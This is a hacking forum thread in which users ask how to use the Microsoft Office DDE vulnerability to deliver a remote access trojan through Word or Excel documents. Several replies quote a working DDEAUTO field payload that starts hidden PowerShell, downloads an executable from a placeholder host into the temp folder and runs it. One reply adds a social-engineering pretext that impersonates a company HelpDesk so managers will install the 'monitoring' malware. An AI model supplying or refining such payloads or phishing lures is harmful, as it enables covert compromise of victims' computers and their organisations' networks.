[Fire_Star]

Hello Friends,

I want to know how to exploit Microsoft Office DDE vulnerability to send RAT Server to Target.

There are tutorials on the web to get a meterpreter shell. I am talking about sending and executing RAT Server.

Probably using Word or Excel.

If anybody can help, will appreciate it.

Thanx and Regards.

[karsina]

also i need good tutorial for this

[Fire_Star]

There are Tutorials on the web for getting a meterpreter shell but i could not find any regarding sending RAT Server

---

also i need good tutorial for this

There are Tutorials on the web for getting a meterpreter shell but i could not find any regarding sending RAT Server

[Astraviruzz]

PM ME I CAN HELP YOU!
BUT THE EXPLOIT IS NOT FUD SO IDK WHAT UR GOING TO DO!

[set-fighter]

I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + '\your.exe'));powershell.exe Start-Process ($env:temp + '\your.exe') # " "Filings_and_Forms.docx"

[ANBU88]

i believe there is a linux script for this

[Hopsin]

A quick google search, showed me this:
https://null-byte.wonderhowto.com/how-to...s-0180706/

Not sure if this accurate, works or overall legit but use it at your risk. Hope I helped, have a nice day.

[Fire_Star]

A quick google search, showed me this:
https://null-byte.wonderhowto.com/how-to...s-0180706/

Not sure if this accurate, works or overall legit but use it at your risk. Hope I helped, have a nice day.

Yes, I have read this Article...The code can somehow be tweaked to download/execute a RAT Server on a remote pc...Thats what i am looking for

---

I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI  -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + '\your.exe'));powershell.exe Start-Process ($env:temp + '\your.exe') # " "Filings_and_Forms.docx"

Hi Friend,

Like you have suggested, Can we use this with Excel or could you pm me the code for Excel to download/execute Rat server on remote pc

Thanx and Regards

---

PM ME I CAN HELP YOU!
BUT THE EXPLOIT IS NOT FUD SO IDK WHAT UR GOING TO DO!

Pm'ed you my friend.....thanx for your help

[CyberStrike]

I taught something like this should work

Hit CTRL+F9

Add something like this between the {} brackets

DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI  -C $e=(new-object System.Net.WebClient).DownloadFile('http://*directlink*.to/your.exe',($env:temp + '\your.exe'));powershell.exe Start-Process ($env:temp + '\your.exe') # " "Filings_and_Forms.docx"

There ya go use powershell to download and execute the payload 👍

Macro's are not FUD yet users run them all day everyday. Think about this scenario you get an email from HelpDesk at your work, they inform you that they need all management of various departments to install a program which will help track employees who might visit non-company sites,, the HelpDesk has a well written out guide. Of course these people who will be installing a montioring software also head up various OU's on our target network, they can unlock accounts for various members in their OU's and groups maybe even add users to their OU. People at high levels of business anf even govt fall for this stuff everyday. Making things look legit is the key as well as being resourceful.

[Fadex69]

Very very helphul thanks :))